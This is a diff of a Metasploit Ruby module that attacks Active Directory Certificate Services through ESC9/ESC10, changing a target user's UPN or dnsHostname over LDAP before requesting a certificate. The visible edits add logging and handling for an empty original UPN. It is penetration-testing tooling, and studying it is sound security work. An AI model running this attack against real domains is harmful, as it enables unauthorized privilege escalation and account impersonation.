@@ -104,6 +104,7 @@ def request_certificate(opts = {})
104
104
if datastore [ 'UPDATE_ESC9_ESC10_OBJECT' ]
105
105
# Get the original value before updating
106
106
opts [ :original_value ] = get_original_esc9_esc10_object_value
107
+ print_status ( "Original #{ datastore [ 'UPDATE_ESC9_ESC10_OBJECT' ] } of #{ datastore [ 'TARGET_USERNAME' ] } : #{ opts [ :original_value ] } " )
107
108
# Update the UPN or dnsHostname of the target user before requesting the cert in order to exploit ESC9 or ESC10
108
109
print_status ( "Updating #{ datastore [ 'UPDATE_ESC9_ESC10_OBJECT' ] } of #{ datastore [ 'TARGET_USERNAME' ] } to #{ datastore [ 'NEW_VALUE' ] } " )
109
110
update_esc9_esc10_object ( datastore [ 'NEW_VALUE' ] )
@@ -523,8 +524,8 @@ def get_original_esc9_esc10_object_value
523
524
ldap_query_module . datastore [ 'ACTION' ] = "RUN_SINGLE_QUERY"
524
525
525
526
526
- output = Rex ::Ui ::Text ::Output ::Buffer . new # ✅ Valid class
527
- output . extend ( Rex ::Ui ::Text ::Output ::Buffer ::Stdout ) # Add `write` method
527
+ output = Rex ::Ui ::Text ::Output ::Buffer . new
528
+ output . extend ( Rex ::Ui ::Text ::Output ::Buffer ::Stdout )
528
529
529
530
original_output = self . user_output
530
531
self . user_output = output
@@ -544,6 +545,10 @@ def get_original_esc9_esc10_object_value
544
545
original_value = Regexp . last_match ( 1 )
545
546
print_good ( "Original value retrieved: #{ original_value } " )
546
547
return original_value
548
+ end
549
+ if output . buf =~ /Query returned 1 result/
550
+ # The Administrator account does not have it's UPN set by default
551
+ return ''
547
552
else
548
553
fail_with ( Msf ::Module ::Failure ::NotFound , "Failed to retrieve the original value of #{ datastore [ 'UPDATE_ESC9_ESC10_OBJECT' ] } " )
549
554
end
@@ -561,6 +566,7 @@ def update_esc9_esc10_object(new_value)
561
566
return
562
567
end
563
568
569
+
564
570
# Default to using the SMB credentials if LDAP credentials are not provided
565
571
ldap_update_module = framework . modules . create ( mod_refname )
566
572
ldap_update_module . datastore [ 'RHOST' ] = datastore [ 'RHOST' ]
@@ -572,13 +578,13 @@ def update_esc9_esc10_object(new_value)
572
578
ldap_update_module . datastore [ 'ATTRIBUTE' ] = datastore [ 'UPDATE_ESC9_ESC10_OBJECT' ]
573
579
ldap_update_module . datastore [ 'NEW_VALUE' ] = new_value
574
580
581
+
575
582
print_status ( "Running #{ mod_refname } " )
576
583
ldap_update_module . run_simple (
577
584
'LocalInput' => self . user_input ,
578
585
'LocalOutput' => self . user_output ,
579
586
'RunAsJob' => false
580
587
)
581
-
582
588
end
583
589
584
590
0 commit comments